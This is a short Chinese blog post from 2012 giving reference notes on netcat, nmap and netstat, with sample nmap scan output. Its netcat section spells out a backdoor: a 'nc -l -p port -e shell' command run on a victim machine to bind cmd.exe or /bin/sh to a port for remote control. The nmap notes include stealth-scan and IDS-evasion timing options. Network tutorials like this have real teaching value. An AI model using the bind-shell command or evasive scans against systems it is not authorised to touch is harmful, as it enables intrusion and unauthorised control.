netstat/nmap/netcat用法

这三款工具是网络安全利器,做一个简单摘要,以备参考。

netcat--网安瑞士军刀

netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。

一般分两个步骤:

  步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
  步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。

    下面的例子是将windows下的cmd.exe绑定在80端口,

   然后在Linux机器上进行控制

可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows。

 __________________________________________

nmap: 功能强大的端口扫描工具

 简单来讲,nmap有以下几种主要用法

全面扫描:nmap-T4 -A targetip  
主机发现:nmap-T4 -sn targetip  
端口扫描:nmap-T4 targetip  
服务扫描:nmap-T4 -sV targetip  
操作系统扫描:nmap-T4 -O targetip

下面给出几个例子,如默认扫描一台主机的开放端口

C:\Users\aa>nmap 101.41.11.45
Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:13 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (0.00061s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
139/tcp open netbios-ssn
443/tcp open https
912/tcp open apex-mesh
3306/tcp open mysql
3389/tcp open ms-term-serv
MAC Address: 00:11:D1:8A:67:16 (Micro-star International CO.)
Nmap done: 1 IP address (1 host up) scanned in 1.49 seconds

端口有如下四种状态:

  Open port(防火墙允许少数端口打开)
  Closed Port(由于防火墙的缘故,大部分的端口被关闭)
  Filtered(Nmap不确定端口是否打开或者关闭)
  Unfiltered(Nmap能够访问这个端口,但是不清楚这个端口打开的状态)

如果用-A选项,会有更加详细的信息,所有开放端口、对应的服务、操作系统信息会一览无余。。。

C:\Users\aa>nmap -A 101.41.11.45

Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:16 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (0.00011s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn
443/tcp open ssl/http Apache httpd
|_http-title: VisualSVN Server
|_http-favicon:
912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
3306/tcp open mysql MySQL 5.5.14
| mysql-info: Protocol: 10
| Version: 5.5.14
| Thread ID: 158
| Some Capabilities: Long Passwords, Connect with DB, Compress, ODBC, Transactio
ns, Secure Connection
| Status: Autocommit
|_Salt: w{'M-:xq
3389/tcp open ms-term-serv?
MAC Address: 00:11:D1:8A:67:16 (Micro-star International CO.)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: XXXXXXX, NetBIOS user: <unknown>, NetBIOS MAC: 0
0:13:d3:8a:67:16 (Micro-star International CO.)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\XXXXXXX
|_ System time: 2012-03-23 14:17:24 UTC+8

TRACEROUTE
HOP RTT ADDRESS
1 0.10 ms 101.41.11.45

OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.66 seconds

扫描特定网段上的活动主机,这是nmap最强的地功能,提供了多种扫描方式

nmap -v -sn 192.168.1.1/24 
nmap 192.168.1.2 192.168.1.5 #扫描多个目标
nmap 192.168.1.1-100 #(扫描IP地址为192.168.1.1-192.168.1.100内 的所有主机)
nmap -iL target.txt #扫描这个target.txt内的所有主机
nmap 192.168.1.1/24 -exclude 192.168.1.1 #扫描除过某一个ip外的所有子网主机
nmap 192.168.1.1/24 -exclude file xxx.txt # xxx.txt中的文件将会从扫描的主机中排除
nmap -p80,21,23 192.168.1.1 # 扫描特定主机上的80,21,23端口
nmap -p 1-1000 192.168.0.1 #只扫描1~1000端口,可以节省时间
nmap -v -sn 192.168.0.0/16 10.0.0.0/8 # 不进行端口扫描
root@bt:~# nmap -v -sn 192.168.0.100/24 | grep -v down | grep 192
Nmap scan report for bogon (192.168.0.1)
Nmap scan report for bogon (192.168.0.100)
Nmap scan report for bogon (192.168.0.102)
Nmap scan report for bogon (192.168.0.103)

 

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans, 参数较多,看实际需要进行选择即可。

-sS被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主 机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。

nmap -v -sS 192.168.1.1/24 

如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

Udp scan(sU)
顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数 据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

nmap -sU 192.168.1.1

FIN scan (sF)
有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手

nmap -sF 192.168.1.8

PING Scan (sP)

PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

nmap -sP 192.168.1.1

nmap 其它常用参数

 -iR <num hosts>: 随机产生特定数量的ip
 -n:不进行域名解决,大批量扫描时可以省下不少时间
 -F: 快速扫描模式,只扫描常用的100个端口
 -sV:取得对应端口上程序的详细版本信息
 -O: 进行操作系统判别
-T:
设置nmap的适时策略 Paranoid(最慢):为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包;Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;Insane(最疯狂,最快):只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。一般使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。

  ___________________________________

netstat: 一般用于检验本机各端口的连接

如果说nmap/netcat都属于“进攻”武器的话,netstat则是用于防守的利器。它可以显示路由表、实际网络连接以及每一个网络接口设备的状态信息。

例子详见

http://www.cnblogs.com/vigarbuaa/archive/2012/03/07/2383064.html

http://www.cnblogs.com/vigarbuaa/archive/2012/03/23/2413178.html

 






 

 

 

 

 

posted @ 2012-03-23 14:09  vigarbuaa  阅读(2752)  评论(0编辑  收藏  举报